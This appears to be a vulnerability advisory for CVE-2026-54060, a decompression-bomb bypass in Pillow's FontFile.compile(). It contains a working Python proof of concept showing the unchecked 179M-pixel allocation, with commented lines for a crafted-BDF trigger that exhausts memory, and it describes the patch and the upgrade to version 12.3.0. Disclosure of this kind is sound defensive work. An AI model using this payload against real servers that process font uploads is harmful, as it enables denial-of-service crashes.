CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass
A crafted BDF or PCF font file can make Pillow allocate gigabytes of memory with no safety check, crashing any server that processes untrusted font uploads.
The problem
FontFile.compile() in PIL/FontFile.py assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without first calling Image._decompression_bomb_check(). This is the shared base class for both BdfFontFile and PcfFontFile.
Because neither font class is registered with Image.register_open(), Pillow's standard decompression bomb guard never fires during font loading. The compile step is the only point where the combined allocation size is known, and it has no check. An attacker can trigger this via any code path that loads a font and calls to_imagefont() or save().
Proof of concept
A working proof-of-concept for CVE-2026-54060 in pillow, with the exact payload below.
#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below 89.4M warning threshold)
-> compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
Verified on Pillow 12.2.0.
"""
from PIL import FontFile, Image
MAX_GLYPHS = 256
GLYPH_W = 800
GLYPH_H = 875 # per-glyph: 700K px -- below DecompressionBombWarning
class MockFont(FontFile.FontFile):
def __init__(self):
super().__init__()
im = Image.new("1", (GLYPH_W, GLYPH_H))
for i in range(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
# Confirm the combined size WOULD be blocked by a direct check
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise -- unexpected")
except Image.DecompressionBombError as e:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
# Vulnerable path: compile() skips the check entirely
font = MockFont()
font.compile() # Image.new("1", (800, 224000)) -- no error raised
px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}x DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")
# Real-world trigger (crafted BDF font with 256 glyphs, each height=65535)
# Combined allocation: 800 x 16,776,960 = ~13.4B px, ~1.6 GB, 75x error threshold
# from PIL import BdfFontFile
# font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
# font.to_imagefont() # -> compile() -> OOM, no check firedThe attack works through slow accumulation. Each glyph is individually small (800x875 = 700K pixels, well under the 89.4M DecompressionBombWarning threshold), so no warning fires during glyph loading. But compile() multiplies: ysize = lines * h, where lines can reach 256 and h can reach 65,535 (PCF maximum), producing a 800x16,776,960 bitmap at 75x the DecompressionBombError threshold and roughly 1.6 GB of allocation.
The patch (commit 0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) adds a call to Image._decompression_bomb_check((xsize, ysize)) immediately before the Image.new() call in FontFile.compile(). This is exactly the missing guard that allows the bypass: the fix inserts the check at the only point where the full combined dimensions are known.
The fix
Upgrade Pillow to 12.3.0 or later. The fix adds Image._decompression_bomb_check((xsize, ysize)) in FontFile.compile() before Image.new() is called, closing the bypass for both BdfFontFile and PcfFontFile code paths. If you cannot upgrade immediately, avoid passing untrusted BDF or PCF files to BdfFontFile(), PcfFontFile(), or any API that calls compile() internally.
Related research
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-54059CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-55379CVE-2026-55379: Pillow BdfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-55380CVE-2026-55380: Pillow GdImageFile Decompression Bomb (DoS)